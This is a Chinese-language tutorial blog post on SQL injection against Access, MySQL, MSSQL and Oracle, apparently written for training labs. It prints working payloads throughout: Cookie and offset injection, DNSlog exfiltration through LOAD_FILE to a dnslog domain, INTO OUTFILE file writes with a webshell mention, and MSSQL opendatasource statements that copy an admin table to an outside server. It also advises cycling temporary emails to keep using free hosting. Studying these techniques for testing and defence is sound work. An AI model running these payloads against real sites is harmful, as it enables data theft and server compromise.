暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

SQL——各类数据库注入解析

菜鸡小队 2021-05-18
790

一.Access注入 — Cookie


1.Cookie注入简介

Cookie:代表身份的一串字符串,由此网站来识别你是谁。

$_REQUEST[]:可以获取POST|GET|COOKIE传参。一般来说,都会对get或post传参进行拦截,这时候可以考虑对Cookie进行传参。Cookie的优先级比get、post高。php5.4以上版本不接受Cookie传参。

注意:Cookie注入是一种特殊的传参方式产生的注入,只跟传参方式有关。

2.怎么修改Cookie

方法一(浏览器):按F12,找到Application模块下的Cookies值,修改即可。

方法二(抓包修改):通过BP拦截请求,Cookie就在HTTP请求中,修改即可。方法三(浏览器插件):设置Cookie,Cookie值。方法四(JS设置):在console控制台通过代码修改Cookie。document.cookie :查看Cookiedocument.cookie = "cookie_name=cookie_value" :修改Cookiedocuemtn.cookie = "id="+escape("171") + 连接符,escape():URL编码函数注意:Cookie注入最好进行一次URL编码。

3.Cookie注入靶场讲解

3.1)有拦截就得绕过:绕规则绕检测白名单https://网址/1.txt?id=1 and 1=1 txt文件属于白名单内容,不拦截骚操作

3.2)Accsss数据库简介表的集合,只有表和字段。由于是很老的数据库,所以,所有的语句都得按常规语法写。猜表名:and exists(select * from 表名)。判断页面是否正常从而进行猜测。可考虑使用BP进行爆破,字典在SQLMap中。

3.3)常见状况ASP —— Access数据库 =>有点老,快被淘汰。PHP —— MySQL数据库ASPX —— mssql数据库JSP —— Oracle数据库注意:# 是MYSQL特有的注释,select 1,2,3···是MYSQL特有的写法。MSSQL有自己特有的系统自带库名。Oracle有自己特定的语法。

3.4)什么网站存在Cookie注入?ASP的站点存在可能性极高。PHP版本低于5.3的版本可能性极高。注意:设置的Cookie能够影响到页面的数据不代表存在SQL注入。

二.Access注入 —— 偏移注入


1.偏移注入使用场景

不知道表名、字段名:Access数据库中是无解,几乎是无法注入。

知道表名,不知道字段名:有办法,用移位溢注。原理:库.表.字段

注意:偏移注入是针对于联合查询注入的一种方法,最关键的一点是需要有回显。

2.偏移注入步骤

order by :判断字段数

union是需要字段数相同才能成功查询 :确定回显点。根据回显点的位置,移动 【表.字段】的位置 :拿数据3.偏移注入靶场讲解漏洞不可能只有一个,一般同一个网站,只要有一个站点存在SQL注入,就有可能每个页面都存在SQL注入。有时候页面不一定显示输出点,源码里面,也可能藏有输出点。需要将union前面正确的查询数据给弄错,方便显示注入的内容。常理:admin前5个字段最有用。id、username、password、校验码、邮箱等SqlMap做不了偏移注入 =》 工具是有局限性


三.MySQL注入 —— Dns注入


1.DNSLOG的使用场景

某些情况下直接利用漏洞但无回显,然而,对目标可以发出请求,这个时候可以通过DNS请求把想获得数据给提取出来。

原理:通过select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。重点在访问域名通过DNS解析。

DNS-LOG :DNS服务器的解析记录

2.DNSLOG的函数解析

LOAD_FILE():读取文件并返回内容(字符串形式)要求:

①.文件必须在服务器主机上。

②.指定文件完整路径。

③.文件可读,但内容必须小于max_allowed_packet规定的大小。

④.文件存在,文件可读取。若四个条件不满足之一,则返回null。支持SMV文件共享。select load_file('F:\\p_h_p\\A_A_A\\WWW\\index.php')select LOAD_FILE(concat('//',database(),'.ads.dnslog.cn/www'));

注意:

此功能不是默认开启,需要在mysql配置文件加一句 secure_file_priv= 。

UNC路径:通用命名规则。//域名/文件夹推荐网站:Www.dnslog.cn 。生成随机域名,记录是否有人访问,以及IP。

缺陷:

①目标必须有网络。

②windows机器比较常见,因为需要SMB(//)。

③扩展3.DNSLOG

靶场讲解

1.http://网址/1.txt?id=1 and (select load_fild(concat(‘//‘,databa se(),’.dnslog.cn/abc’)))

1.其实SQL注入可以直接拿服务器。load_file()读取文件into dumpfile写文件into outfile写文件select 1 into outfile 'F:/p_h_p/A_A_A/WWW/1.txt' ;select 1 into outfile 'F:\\p_h_p\\A_A_A\\WWW\\1.txt' ;

3.PHP是一个后端语言。功能很强大,只要语句得到,可以操控电脑!

4.一句话木马://eval 代码执行。传参会被当做代码执行。注意:菜刀 + 一句话木马 :可对目标服务器进行管理。

四.MSSQL(SQL Server) —— 反弹注入


目标站点把查询数据的结果插入到黑客的MSSQL数据库里面。

1.MSSQL反弹注入使用场景

寻找到SQL注入点却无法进行准入,准入工具猜解速度异常缓慢,错误提示信息关闭,无法返回注入结果等,为解决以上问题,可使用反弹注射技术,而此技术需要依赖 opendatasourece函数。

需要MSSQL数据库 + 公网IP

2.快速搭建一个MSSQL环境(骚姿势)

香港云:http://www.webweb.com/ 。可申请虚拟空间,然后开启MSSQL直接使用即可。也可以搭建网站和个人博客。免费60天的使用,过期就换邮箱。

临时邮箱注册:http://24mail.chacuo.net/ 。Navicat :管理数据库的软件

3.MSSQL显错注入教学

union all => 显示全部数据。除了MySQL查询,其他数据库都要写全 => select 字段 from 表null :不存在数据类型 。=>MySQL对字段数严格规定,但字段类型规定比较少。网址 ' union all select null,null,null from news -- qwe系统表:sysobjectsselect id,name,null from sysobjects where xtype='U'select id,name,null from syscolumns where id=1977058079select id,password,token from admin注意:并不是所有的数据库都有库的概念!

4.MSSQL反弹注入语句解析

4.1)核心语句insert into opendatasource('sqlloledb','server=SQL5009.webweb.com ,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkqa;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin -- qwe首先,这是一条插入语句。opendatasource :打开外部的某一个数据库连接。主键(固定值)+地址+端口+用户名+密码.DB_14A5E44_zkaq.dbo.temp :选中 【库.表】select from admin — : 查询的结果,插入到temp表注意:插入数据 => 字段数相同、类型相同

4.2)步骤确定字段数(sysobjects)select id,name from sysobjects where xtype='U'结果http://131321/?id=1';insert into opendatasource('sqlloledb', 'server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin; pwd=zkaqzkqa;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select id,name from sysobjects where xtype='U' -- qwe注意:这里用到了堆叠注入 ;

五.Oracle —— 报错注入



1.注入函数解析

1.Dual是一个实表,也是一个虚表,如果直接查询它,则返回X,列名“DUMMY”

作用:很多用途!简单列举几个查询用户名:select user from Dual获得随机值:select dbms_random.random from dual做加减法:select 9+1 from dual

2.基本语句排序:order by查询出所有的表:select * from all_tables查询当前用户的表:select * from user_tables查询所有字段:select * from all_tab_columns查询出当前用户的字段:select * from user_tab_columns查版本:select * from v$version页面只能返回第一条数据:① select * from user_tab_columns where table_name <>'TABLE_NAME' AND table_name <>'COLUMN_NAME' ② select * from user_tab_columns where rownum=1 | rownum<4查询指定数据:select * from (select rownum num,id,name from user_tab_columns where rownum<=3 ) where no >=2

3.函数


3.1)to_nchar(‘a’),将varchar2 转为 nvarchar2

注意:rownum 会自动编译序号,类似搭积木原理。也可说是临时表。

2.报错注入 + 联合查询(union all)

1.联合查询注入


网址 union select 1,null,to_nchar(table_name),null, from user_tables网址 union select 1,null,to_nchar(column_name),null, from user_tab_columns where table_name = 'admin'

2.报错注入

CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) :查询某主题的对应关键词,由于权限不足而查询失败。查询数据库版本:and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) --

报错注入不需要管数据类型!


Oracle语言严谨,where后面跟的都是条件。http://123213:1213/id=1 and 1=ctxsys.drithsx.sn(user,(select table_name from user_tables where rownum=1))http://123213:1213/id=1 and 1=ctxsys.drithsx.sn(user,(select table_name from (select rownum num,table_name from user_tables) where rownum=1))

3.靶场演示

1./index_x.php : 可以对oracle进行练习语句。

2.oracle 是一种模糊用户概念的数据库

3.数据库:数据是敏感大小写的,语句字段是不敏感大小写的。

4.若相同数据一个能运行,另外一个不能运行,可以查看hex对比。5.开发眼中:数字和时间的关联:时间戳。


END

特别申明:

作者有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者的允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 

仅供交流学习使用

请勿用于非法用途




文章转载自菜鸡小队,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论